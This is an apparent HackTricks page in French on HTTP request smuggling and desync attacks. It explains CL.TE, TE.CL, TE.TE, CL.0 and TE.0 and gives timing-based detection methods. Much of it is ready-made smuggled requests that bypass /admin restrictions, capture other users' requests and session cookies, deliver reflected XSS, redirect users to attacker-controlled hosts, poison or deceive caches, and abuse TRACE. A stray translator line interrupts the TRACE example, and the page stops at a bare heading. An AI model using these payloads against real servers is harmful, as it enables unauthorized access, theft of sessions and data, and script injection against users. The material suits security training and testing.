HTTP Request Smuggling / HTTP Desync Attack
Reading time: 28 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.
Qu'est-ce que c'est
Cette vulnĂ©rabilitĂ© se produit lorsqu'une dĂ©synchronisation entre les proxies front-end et le serveur back-end permet Ă un attaquant d'envoyer une requĂȘte HTTP qui sera interprĂ©tĂ©e comme une unique requĂȘte par les proxies front-end (Ă©quilibreur de charge/proxy inverse) et comme 2 requĂȘtes par le serveur back-end.
Cela permet Ă un utilisateur de modifier la prochaine requĂȘte qui arrive au serveur back-end aprĂšs la sienne.
Théorie
Si un message est reçu avec Ă la fois un champ d'en-tĂȘte Transfer-Encoding et un champ d'en-tĂȘte Content-Length, ce dernier DOIT ĂȘtre ignorĂ©.
Content-Length
L'en-tĂȘte d'entitĂ© Content-Length indique la taille du corps de l'entitĂ©, en octets, envoyĂ©e au destinataire.
Transfer-Encoding: chunked
L'en-tĂȘte Transfer-Encoding spĂ©cifie la forme d'encodage utilisĂ©e pour transfĂ©rer en toute sĂ©curitĂ© le corps de la charge utile Ă l'utilisateur.
Chunked signifie que de grandes données sont envoyées en une série de morceaux.
Réalité
Le Front-End (un Ă©quilibreur de charge / Proxy Inverse) traite l'en-tĂȘte content-length ou l'en-tĂȘte transfer-encoding et le serveur Back-end traite l'autre, provoquant une dĂ©synchronisation entre les 2 systĂšmes.
Cela pourrait ĂȘtre trĂšs critique car un attaquant pourra envoyer une requĂȘte au proxy inverse qui sera interprĂ©tĂ©e par le serveur back-end comme 2 requĂȘtes diffĂ©rentes. Le danger de cette technique rĂ©side dans le fait que le serveur back-end interprĂ©tera la 2Ăšme requĂȘte injectĂ©e comme si elle venait du prochain client et la vraie requĂȘte de ce client fera partie de la requĂȘte injectĂ©e.
Particularités
Rappelez-vous qu'en HTTP un caractÚre de nouvelle ligne est composé de 2 octets :
- Content-Length : Cet en-tĂȘte utilise un nombre dĂ©cimal pour indiquer le nombre d'octets du corps de la requĂȘte. Le corps est censĂ© se terminer par le dernier caractĂšre, une nouvelle ligne n'est pas nĂ©cessaire Ă la fin de la requĂȘte.
- Transfer-Encoding : Cet en-tĂȘte utilise dans le corps un nombre hexadĂ©cimal pour indiquer le nombre d'octets du prochain morceau. Le morceau doit se terminer par une nouvelle ligne mais cette nouvelle ligne n'est pas comptĂ©e par l'indicateur de longueur. Cette mĂ©thode de transfert doit se terminer par un morceau de taille 0 suivi de 2 nouvelles lignes :
0
- Connection : D'aprÚs mon expérience, il est recommandé d'utiliser
Connection: keep-alive
lors de la premiĂšre requĂȘte du request Smuggling.
Exemples de base
tip
Lors de l'exploitation de cela avec Burp Suite, désactivez Update Content-Length
et Normalize HTTP/1 line endings
dans le répéteur car certains gadgets abusent des nouvelles lignes, des retours chariot et des content-length malformés.
Les attaques de HTTP request smuggling sont Ă©laborĂ©es en envoyant des requĂȘtes ambiguĂ«s qui exploitent les divergences dans la façon dont les serveurs front-end et back-end interprĂštent les en-tĂȘtes Content-Length
(CL) et Transfer-Encoding
(TE). Ces attaques peuvent se manifester sous diffĂ©rentes formes, principalement comme CL.TE, TE.CL, et TE.TE. Chaque type reprĂ©sente une combinaison unique de la façon dont les serveurs front-end et back-end priorisent ces en-tĂȘtes. Les vulnĂ©rabilitĂ©s proviennent du fait que les serveurs traitent la mĂȘme requĂȘte de diffĂ©rentes maniĂšres, entraĂźnant des rĂ©sultats inattendus et potentiellement malveillants.
Exemples de base des types de vulnérabilités
note
à la table précédente, vous devriez ajouter la technique TE.0, comme la technique CL.0 mais en utilisant Transfer Encoding.
Vulnérabilité CL.TE (Content-Length utilisé par le Front-End, Transfer-Encoding utilisé par le Back-End)
-
Front-End (CL) : Traite la requĂȘte en fonction de l'en-tĂȘte
Content-Length
. -
Back-End (TE) : Traite la requĂȘte en fonction de l'en-tĂȘte
Transfer-Encoding
. -
Scénario d'attaque :
-
L'attaquant envoie une requĂȘte oĂč la valeur de l'en-tĂȘte
Content-Length
ne correspond pas à la longueur réelle du contenu. -
Le serveur front-end transmet l'intĂ©gralitĂ© de la requĂȘte au back-end, en fonction de la valeur de
Content-Length
. -
Le serveur back-end traite la requĂȘte comme Ă©tant en morceaux en raison de l'en-tĂȘte
Transfer-Encoding: chunked
, interprĂ©tant les donnĂ©es restantes comme une requĂȘte sĂ©parĂ©e et subsĂ©quente. -
Exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
Foo: x
Vulnérabilité TE.CL (Transfer-Encoding utilisé par le Front-End, Content-Length utilisé par le Back-End)
-
Front-End (TE) : Traite la requĂȘte en fonction de l'en-tĂȘte
Transfer-Encoding
. -
Back-End (CL) : Traite la requĂȘte en fonction de l'en-tĂȘte
Content-Length
. -
Scénario d'attaque :
-
L'attaquant envoie une requĂȘte en morceaux oĂč la taille du morceau (
7b
) et la longueur réelle du contenu (Content-Length: 4
) ne s'alignent pas. -
Le serveur front-end, respectant
Transfer-Encoding
, transmet l'intĂ©gralitĂ© de la requĂȘte au back-end. -
Le serveur back-end, respectant
Content-Length
, ne traite que la partie initiale de la requĂȘte (7b
octets), laissant le reste comme partie d'une requĂȘte subsĂ©quente non intentionnelle. -
Exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
x=
0
Vulnérabilité TE.TE (Transfer-Encoding utilisé par les deux, avec obfuscation)
-
Serveurs : Les deux prennent en charge
Transfer-Encoding
, mais l'un peut ĂȘtre trompĂ© pour l'ignorer via l'obfuscation. -
Scénario d'attaque :
-
L'attaquant envoie une requĂȘte avec des en-tĂȘtes
Transfer-Encoding
obfusqués. -
Selon quel serveur (front-end ou back-end) Ă©choue Ă reconnaĂźtre l'obfuscation, une vulnĂ©rabilitĂ© CL.TE ou TE.CL peut ĂȘtre exploitĂ©e.
-
La partie non traitĂ©e de la requĂȘte, telle que vue par l'un des serveurs, devient partie d'une requĂȘte subsĂ©quente, entraĂźnant un smuggling.
-
Exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
Scénario CL.CL (Content-Length utilisé par le Front-End et le Back-End)
- Les deux serveurs traitent la requĂȘte uniquement en fonction de l'en-tĂȘte
Content-Length
. - Ce scĂ©nario ne conduit gĂ©nĂ©ralement pas Ă un smuggling, car il y a un alignement dans la façon dont les deux serveurs interprĂštent la longueur de la requĂȘte.
- Exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Normal Request
Scénario CL.0
- Fait rĂ©fĂ©rence aux scĂ©narios oĂč l'en-tĂȘte
Content-Length
est prĂ©sent et a une valeur autre que zĂ©ro, indiquant que le corps de la requĂȘte a du contenu. Le back-end ignore l'en-tĂȘteContent-Length
(qui est traitĂ© comme 0), mais le front-end l'analyse. - C'est crucial pour comprendre et Ă©laborer des attaques de smuggling, car cela influence la façon dont les serveurs dĂ©terminent la fin d'une requĂȘte.
- Exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Non-Empty Body
Scénario TE.0
- Comme le précédent mais en utilisant TE
- Technique reportée ici
- Exemple :
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive
50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE
Casser le serveur web
Cette technique est Ă©galement utile dans des scĂ©narios oĂč il est possible de casser un serveur web tout en lisant les donnĂ©es HTTP initiales mais sans fermer la connexion. De cette maniĂšre, le corps de la requĂȘte HTTP sera considĂ©rĂ© comme la prochaine requĂȘte HTTP.
Par exemple, comme expliquĂ© dans cet article, dans Werkzeug, il Ă©tait possible d'envoyer certains caractĂšres Unicode et cela ferait casser le serveur. Cependant, si la connexion HTTP a Ă©tĂ© crĂ©Ă©e avec l'en-tĂȘte Connection: keep-alive
, le corps de la requĂȘte ne sera pas lu et la connexion restera ouverte, donc le corps de la requĂȘte sera traitĂ© comme la prochaine requĂȘte HTTP.
Forcer via des en-tĂȘtes hop-by-hop
En abusant des en-tĂȘtes hop-by-hop, vous pourriez indiquer au proxy de supprimer l'en-tĂȘte Content-Length ou Transfer-Encoding afin qu'un HTTP request smuggling soit possible Ă abuser.
Connection: Content-Length
Pour plus d'informations sur les en-tĂȘtes hop-by-hop, visitez :
Trouver des vulnérabilités de HTTP Request Smuggling
Identifier les vulnĂ©rabilitĂ©s de HTTP request smuggling peut souvent ĂȘtre rĂ©alisĂ© en utilisant des techniques de timing, qui reposent sur l'observation du temps qu'il faut au serveur pour rĂ©pondre Ă des requĂȘtes manipulĂ©es. Ces techniques sont particuliĂšrement utiles pour dĂ©tecter les vulnĂ©rabilitĂ©s CL.TE et TE.CL. En plus de ces mĂ©thodes, il existe d'autres stratĂ©gies et outils qui peuvent ĂȘtre utilisĂ©s pour trouver de telles vulnĂ©rabilitĂ©s :
Trouver des vulnérabilités CL.TE en utilisant des techniques de timing
-
MĂ©thode :
-
Envoyer une requĂȘte qui, si l'application est vulnĂ©rable, fera attendre le serveur back-end pour des donnĂ©es supplĂ©mentaires.
-
Exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4
1
A
0
-
Observation :
-
Le serveur front-end traite la requĂȘte en fonction de
Content-Length
et coupe le message prématurément. -
Le serveur back-end, s'attendant à un message chunked, attend le prochain chunk qui n'arrive jamais, provoquant un délai.
-
Indicateurs :
-
Délais d'attente ou longs délais de réponse.
-
Réception d'une erreur 400 Bad Request du serveur back-end, parfois avec des informations détaillées sur le serveur.
Trouver des vulnérabilités TE.CL en utilisant des techniques de timing
-
MĂ©thode :
-
Envoyer une requĂȘte qui, si l'application est vulnĂ©rable, fera attendre le serveur back-end pour des donnĂ©es supplĂ©mentaires.
-
Exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6
0
X
- Observation :
- Le serveur front-end traite la requĂȘte en fonction de
Transfer-Encoding
et transmet l'intégralité du message. - Le serveur back-end, s'attendant à un message basé sur
Content-Length
, attend des données supplémentaires qui n'arrivent jamais, provoquant un délai.
Autres méthodes pour trouver des vulnérabilités
- Analyse de réponse différentielle :
- Envoyer des versions lĂ©gĂšrement variĂ©es d'une requĂȘte et observer si les rĂ©ponses du serveur diffĂšrent de maniĂšre inattendue, indiquant une anomalie de parsing.
- Utilisation d'outils automatisés :
- Des outils comme l'extension 'HTTP Request Smuggler' de Burp Suite peuvent tester automatiquement ces vulnĂ©rabilitĂ©s en envoyant diverses formes de requĂȘtes ambiguĂ«s et en analysant les rĂ©ponses.
- Tests de variance de Content-Length :
- Envoyer des requĂȘtes avec des valeurs
Content-Length
variées qui ne correspondent pas à la longueur réelle du contenu et observer comment le serveur gÚre de tels décalages. - Tests de variance de Transfer-Encoding :
- Envoyer des requĂȘtes avec des en-tĂȘtes
Transfer-Encoding
obfusqués ou malformés et surveiller comment les serveurs front-end et back-end réagissent différemment à de telles manipulations.
Test de vulnérabilité de HTTP Request Smuggling
AprĂšs avoir confirmĂ© l'efficacitĂ© des techniques de timing, il est crucial de vĂ©rifier si les requĂȘtes des clients peuvent ĂȘtre manipulĂ©es. Une mĂ©thode simple consiste Ă tenter de polluer vos requĂȘtes, par exemple, en faisant en sorte qu'une requĂȘte Ă /
renvoie une réponse 404. Les exemples CL.TE
et TE.CL
discutĂ©s prĂ©cĂ©demment dans Exemples de base dĂ©montrent comment empoisonner une requĂȘte client pour provoquer une rĂ©ponse 404, malgrĂ© le fait que le client vise Ă accĂ©der Ă une ressource diffĂ©rente.
Considérations clés
Lors du test des vulnĂ©rabilitĂ©s de request smuggling en interfĂ©rant avec d'autres requĂȘtes, gardez Ă l'esprit :
- Connexions rĂ©seau distinctes : Les requĂȘtes "d'attaque" et "normales" doivent ĂȘtre envoyĂ©es sur des connexions rĂ©seau sĂ©parĂ©es. Utiliser la mĂȘme connexion pour les deux ne valide pas la prĂ©sence de la vulnĂ©rabilitĂ©.
- URL et paramĂštres cohĂ©rents : Visez Ă utiliser des URL et des noms de paramĂštres identiques pour les deux requĂȘtes. Les applications modernes acheminent souvent les requĂȘtes vers des serveurs back-end spĂ©cifiques en fonction de l'URL et des paramĂštres. Les faire correspondre augmente la probabilitĂ© que les deux requĂȘtes soient traitĂ©es par le mĂȘme serveur, condition prĂ©alable Ă une attaque rĂ©ussie.
- Conditions de timing et de course : La requĂȘte "normale", destinĂ©e Ă dĂ©tecter l'interfĂ©rence de la requĂȘte "d'attaque", est en concurrence avec d'autres requĂȘtes d'application concurrentes. Par consĂ©quent, envoyez la requĂȘte "normale" immĂ©diatement aprĂšs la requĂȘte "d'attaque". Les applications chargĂ©es peuvent nĂ©cessiter plusieurs essais pour une confirmation concluante de la vulnĂ©rabilitĂ©.
- DĂ©fis d'Ă©quilibrage de charge : Les serveurs front-end agissant comme des Ă©quilibreurs de charge peuvent distribuer les requĂȘtes sur divers systĂšmes back-end. Si les requĂȘtes "d'attaque" et "normales" se retrouvent sur des systĂšmes diffĂ©rents, l'attaque Ă©chouera. Cet aspect d'Ă©quilibrage de charge peut nĂ©cessiter plusieurs tentatives pour confirmer une vulnĂ©rabilitĂ©.
- Impact utilisateur non intentionnel : Si votre attaque impacte involontairement la requĂȘte d'un autre utilisateur (pas la requĂȘte "normale" que vous avez envoyĂ©e pour la dĂ©tection), cela indique que votre attaque a influencĂ© un autre utilisateur de l'application. Des tests continus pourraient perturber d'autres utilisateurs, nĂ©cessitant une approche prudente.
Abuser de HTTP Request Smuggling
Contourner la sécurité front-end via HTTP Request Smuggling
Parfois, les proxys front-end appliquent des mesures de sĂ©curitĂ©, scrutant les requĂȘtes entrantes. Cependant, ces mesures peuvent ĂȘtre contournĂ©es en exploitant le HTTP Request Smuggling, permettant un accĂšs non autorisĂ© Ă des points de terminaison restreints. Par exemple, accĂ©der Ă /admin
pourrait ĂȘtre interdit de l'extĂ©rieur, le proxy front-end bloquant activement de telles tentatives. NĂ©anmoins, ce proxy peut nĂ©gliger d'inspecter les requĂȘtes intĂ©grĂ©es dans une requĂȘte HTTP smuggled, laissant une faille pour contourner ces restrictions.
ConsidĂ©rez les exemples suivants illustrant comment le HTTP Request Smuggling peut ĂȘtre utilisĂ© pour contourner les contrĂŽles de sĂ©curitĂ© front-end, ciblant spĂ©cifiquement le chemin /admin
qui est généralement protégé par le proxy front-end :
Exemple CL.TE
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
x=
Dans l'attaque CL.TE, l'en-tĂȘte Content-Length
est utilisĂ© pour la requĂȘte initiale, tandis que la requĂȘte intĂ©grĂ©e suivante utilise l'en-tĂȘte Transfer-Encoding: chunked
. Le proxy frontal traite la requĂȘte POST
initiale mais ne parvient pas Ă inspecter la requĂȘte intĂ©grĂ©e GET /admin
, permettant un accÚs non autorisé au chemin /admin
.
TE.CL Exemple
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0
Inverse, dans l'attaque TE.CL, la requĂȘte POST
initiale utilise Transfer-Encoding: chunked
, et la requĂȘte intĂ©grĂ©e suivante est traitĂ©e en fonction de l'en-tĂȘte Content-Length
. Comme dans l'attaque CL.TE, le proxy frontal ignore la requĂȘte GET /admin
dissimulée, accordant involontairement l'accÚs au chemin restreint /admin
.
RĂ©vĂ©lation de la rĂ©Ă©criture des requĂȘtes front-end
Les applications utilisent souvent un serveur frontal pour modifier les requĂȘtes entrantes avant de les transmettre au serveur back-end. Une modification typique consiste Ă ajouter des en-tĂȘtes, tels que X-Forwarded-For: <IP du client>
, pour relayer l'IP du client au back-end. Comprendre ces modifications peut ĂȘtre crucial, car cela pourrait rĂ©vĂ©ler des moyens de contourner les protections ou dĂ©couvrir des informations ou des points de terminaison dissimulĂ©s.
Pour enquĂȘter sur la façon dont un proxy modifie une requĂȘte, localisez un paramĂštre POST que le back-end renvoie dans la rĂ©ponse. Ensuite, Ă©laborez une requĂȘte, en utilisant ce paramĂštre en dernier, similaire Ă ce qui suit :
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked
0
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
search=
Dans cette structure, les composants de requĂȘte suivants sont ajoutĂ©s aprĂšs search=
, qui est le paramĂštre reflĂ©tĂ© dans la rĂ©ponse. Ce reflet exposera les en-tĂȘtes de la requĂȘte suivante.
Il est important d'aligner l'en-tĂȘte Content-Length
de la requĂȘte imbriquĂ©e avec la longueur rĂ©elle du contenu. Il est conseillĂ© de commencer avec une petite valeur et d'augmenter progressivement, car une valeur trop basse tronquera les donnĂ©es reflĂ©tĂ©es, tandis qu'une valeur trop Ă©levĂ©e peut provoquer une erreur dans la requĂȘte.
Cette technique est Ă©galement applicable dans le contexte d'une vulnĂ©rabilitĂ© TE.CL, mais la requĂȘte doit se terminer par search=\r\n0
. Indépendamment des caractÚres de nouvelle ligne, les valeurs seront ajoutées au paramÚtre de recherche.
Cette mĂ©thode sert principalement Ă comprendre les modifications de requĂȘte effectuĂ©es par le proxy frontal, rĂ©alisant essentiellement une enquĂȘte autodirigĂ©e.
Capturer les requĂȘtes d'autres utilisateurs
Il est possible de capturer les requĂȘtes de l'utilisateur suivant en ajoutant une requĂȘte spĂ©cifique comme valeur d'un paramĂštre lors d'une opĂ©ration POST. Voici comment cela peut ĂȘtre accompli :
En ajoutant la requĂȘte suivante comme valeur d'un paramĂštre, vous pouvez stocker la requĂȘte du client suivant :
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
Dans ce scĂ©nario, le paramĂštre de commentaire est destinĂ© Ă stocker le contenu dans la section des commentaires d'un post sur une page accessible au public. Par consĂ©quent, le contenu de la requĂȘte suivante apparaĂźtra comme un commentaire.
Cependant, cette technique a des limitations. En gĂ©nĂ©ral, elle capture les donnĂ©es uniquement jusqu'au dĂ©limiteur de paramĂštre utilisĂ© dans la requĂȘte contrefaite. Pour les soumissions de formulaires encodĂ©es en URL, ce dĂ©limiteur est le caractĂšre &
. Cela signifie que le contenu capturĂ© de la requĂȘte de l'utilisateur victime s'arrĂȘtera au premier &
, qui peut mĂȘme faire partie de la chaĂźne de requĂȘte.
De plus, il convient de noter que cette approche est Ă©galement viable avec une vulnĂ©rabilitĂ© TE.CL. Dans de tels cas, la requĂȘte doit se terminer par search=\r\n0
. Indépendamment des caractÚres de nouvelle ligne, les valeurs seront ajoutées au paramÚtre de recherche.
Utiliser le HTTP request smuggling pour exploiter le XSS réfléchi
Le HTTP Request Smuggling peut ĂȘtre utilisĂ© pour exploiter des pages web vulnĂ©rables au XSS rĂ©flĂ©chi, offrant des avantages significatifs :
- L'interaction avec les utilisateurs cibles n'est pas requise.
- Permet l'exploitation du XSS dans des parties de la requĂȘte qui sont normalement inaccessibles, comme les en-tĂȘtes de requĂȘte HTTP.
Dans les scĂ©narios oĂč un site web est susceptible au XSS rĂ©flĂ©chi via l'en-tĂȘte User-Agent, la charge utile suivante dĂ©montre comment exploiter cette vulnĂ©rabilitĂ© :
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded
0
GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
A=
Ce payload est structuré pour exploiter la vulnérabilité en :
- Initiant une requĂȘte
POST
, apparemment typique, avec un en-tĂȘteTransfer-Encoding: chunked
pour indiquer le début du smuggling. - Suivant avec un
0
, marquant la fin du corps du message chunked. - Ensuite, une requĂȘte
GET
smuggled est introduite, oĂč l'en-tĂȘteUser-Agent
est injecté avec un script,<script>alert(1)</script>
, dĂ©clenchant le XSS lorsque le serveur traite cette requĂȘte subsĂ©quente.
En manipulant le User-Agent
par le smuggling, le payload contourne les contraintes normales de requĂȘte, exploitant ainsi la vulnĂ©rabilitĂ© XSS rĂ©flĂ©chie de maniĂšre non standard mais efficace.
HTTP/0.9
caution
Dans le cas oĂč le contenu de l'utilisateur est rĂ©flĂ©chi dans une rĂ©ponse avec un Content-type
tel que text/plain
, empĂȘchant l'exĂ©cution du XSS. Si le serveur prend en charge HTTP/0.9, il pourrait ĂȘtre possible de contourner cela !
La version HTTP/0.9 Ă©tait antĂ©rieure Ă la 1.0 et utilise uniquement des verbes GET et ne rĂ©pond pas avec des en-tĂȘtes, juste le corps.
Dans ce writeup, cela a Ă©tĂ© abusĂ© avec un smuggling de requĂȘte et un point de terminaison vulnĂ©rable qui rĂ©pondra avec l'entrĂ©e de l'utilisateur pour smuggler une requĂȘte avec HTTP/0.9. Le paramĂštre qui sera rĂ©flĂ©chi dans la rĂ©ponse contenait une rĂ©ponse HTTP/1.1 factice (avec en-tĂȘtes et corps) afin que la rĂ©ponse contienne un code JS exĂ©cutable valide avec un Content-Type
de text/html
.
Exploiter les redirections sur site avec le HTTP Request Smuggling
Les applications redirigent souvent d'une URL Ă une autre en utilisant le nom d'hĂŽte de l'en-tĂȘte Host
dans l'URL de redirection. Cela est courant avec des serveurs web comme Apache et IIS. Par exemple, demander un dossier sans barre oblique Ă la fin entraĂźne une redirection pour inclure la barre oblique :
GET /home HTTP/1.1
Host: normal-website.com
RĂ©sultats dans :
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
Bien que cela puisse sembler inoffensif, ce comportement peut ĂȘtre manipulĂ© en utilisant le HTTP request smuggling pour rediriger les utilisateurs vers un site externe. Par exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
Cette requĂȘte dissimulĂ©e pourrait entraĂźner la redirection de la prochaine requĂȘte utilisateur traitĂ©e vers un site web contrĂŽlĂ© par un attaquant :
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
RĂ©sultats dans :
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
Dans ce scénario, la demande d'un utilisateur pour un fichier JavaScript est détournée. L'attaquant peut potentiellement compromettre l'utilisateur en servant un JavaScript malveillant en réponse.
Exploitation de la contamination du cache Web via le HTTP Request Smuggling
La contamination du cache Web peut ĂȘtre exĂ©cutĂ©e si un composant de l'infrastructure front-end met en cache du contenu, gĂ©nĂ©ralement pour amĂ©liorer les performances. En manipulant la rĂ©ponse du serveur, il est possible de contaminer le cache.
Auparavant, nous avons observĂ© comment les rĂ©ponses du serveur pouvaient ĂȘtre modifiĂ©es pour renvoyer une erreur 404 (voir Exemples de base). De mĂȘme, il est possible de tromper le serveur pour qu'il dĂ©livre le contenu de /index.html
en réponse à une demande pour /static/include.js
. Par conséquent, le contenu de /static/include.js
est remplacé dans le cache par celui de /index.html
, rendant /static/include.js
inaccessible aux utilisateurs, ce qui peut potentiellement conduire Ă une DĂ©ni de Service (DoS).
Cette technique devient particuliĂšrement puissante si une vulnĂ©rabilitĂ© de redirection ouverte est dĂ©couverte ou s'il y a une redirection sur site vers une redirection ouverte. De telles vulnĂ©rabilitĂ©s peuvent ĂȘtre exploitĂ©es pour remplacer le contenu mis en cache de /static/include.js
par un script sous le contrĂŽle de l'attaquant, permettant essentiellement une attaque Cross-Site Scripting (XSS) Ă grande Ă©chelle contre tous les clients demandant le /static/include.js
mis Ă jour.
Voici une illustration de l'exploitation de la contamination du cache combinée avec une redirection sur site vers une redirection ouverte. L'objectif est de modifier le contenu du cache de /static/include.js
pour servir du code JavaScript contrÎlé par l'attaquant :
POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
Notez la requĂȘte intĂ©grĂ©e ciblant /post/next?postId=3
. Cette requĂȘte sera redirigĂ©e vers /post?postId=4
, utilisant la valeur de l'en-tĂȘte Host pour dĂ©terminer le domaine. En modifiant l'en-tĂȘte Host, l'attaquant peut rediriger la requĂȘte vers son domaine (redirection sur site vers redirection ouverte).
AprĂšs un empoisonnement de socket rĂ©ussi, une requĂȘte GET pour /static/include.js
doit ĂȘtre initiĂ©e. Cette requĂȘte sera contaminĂ©e par la prĂ©cĂ©dente requĂȘte redirection sur site vers redirection ouverte et rĂ©cupĂ©rera le contenu du script contrĂŽlĂ© par l'attaquant.
Par la suite, toute requĂȘte pour /static/include.js
servira le contenu mis en cache du script de l'attaquant, lançant ainsi une large attaque XSS.
Utiliser le smuggling de requĂȘtes HTTP pour effectuer une tromperie de cache web
Quelle est la différence entre l'empoisonnement de cache web et la tromperie de cache web ?
- Dans l'empoisonnement de cache web, l'attaquant amĂšne l'application Ă stocker un contenu malveillant dans le cache, et ce contenu est servi depuis le cache Ă d'autres utilisateurs de l'application.
- Dans la tromperie de cache web, l'attaquant amÚne l'application à stocker un contenu sensible appartenant à un autre utilisateur dans le cache, et l'attaquant récupÚre ensuite ce contenu depuis le cache.
L'attaquant crĂ©e une requĂȘte smuggled qui rĂ©cupĂšre un contenu sensible spĂ©cifique Ă l'utilisateur. ConsidĂ©rez l'exemple suivant :
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`
Si cette requĂȘte de contournement empoisonne une entrĂ©e de cache destinĂ©e Ă du contenu statique (par exemple, /someimage.png
), les données sensibles de la victime provenant de /private/messages
pourraient ĂȘtre mises en cache sous l'entrĂ©e de cache du contenu statique. Par consĂ©quent, l'attaquant pourrait potentiellement rĂ©cupĂ©rer ces donnĂ©es sensibles mises en cache.
Abus de TRACE via HTTP Request Smuggling
Dans cet article, il est suggĂ©rĂ© que si le serveur a la mĂ©thode TRACE activĂ©e, il pourrait ĂȘtre possible de l'abuser avec un HTTP Request Smuggling. Cela est dĂ» au fait que cette mĂ©thode reflĂ©tera tout en-tĂȘte envoyĂ© au serveur dans le corps de la rĂ©ponse. Par exemple :
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
Please provide the text you would like me to translate.
HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115
TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
Un exemple de la façon d'abuser de ce comportement serait de smuggler d'abord une requĂȘte HEAD. Cette requĂȘte sera rĂ©pondue uniquement avec les en-tĂȘtes d'une requĂȘte GET (Content-Type
parmi eux). Et smuggler immĂ©diatement aprĂšs la HEAD une requĂȘte TRACE, qui va rĂ©flĂ©chir les donnĂ©es envoyĂ©es.
Comme la rĂ©ponse HEAD contiendra un en-tĂȘte Content-Length
, la rĂ©ponse de la requĂȘte TRACE sera traitĂ©e comme le corps de la rĂ©ponse HEAD, rĂ©flĂ©chissant donc des donnĂ©es arbitraires dans la rĂ©ponse.
Cette rĂ©ponse sera envoyĂ©e Ă la prochaine requĂȘte sur la connexion, donc cela pourrait ĂȘtre utilisĂ© dans un fichier JS mis en cache par exemple pour injecter du code JS arbitraire.
Abuser de TRACE via le HTTP Response Splitting
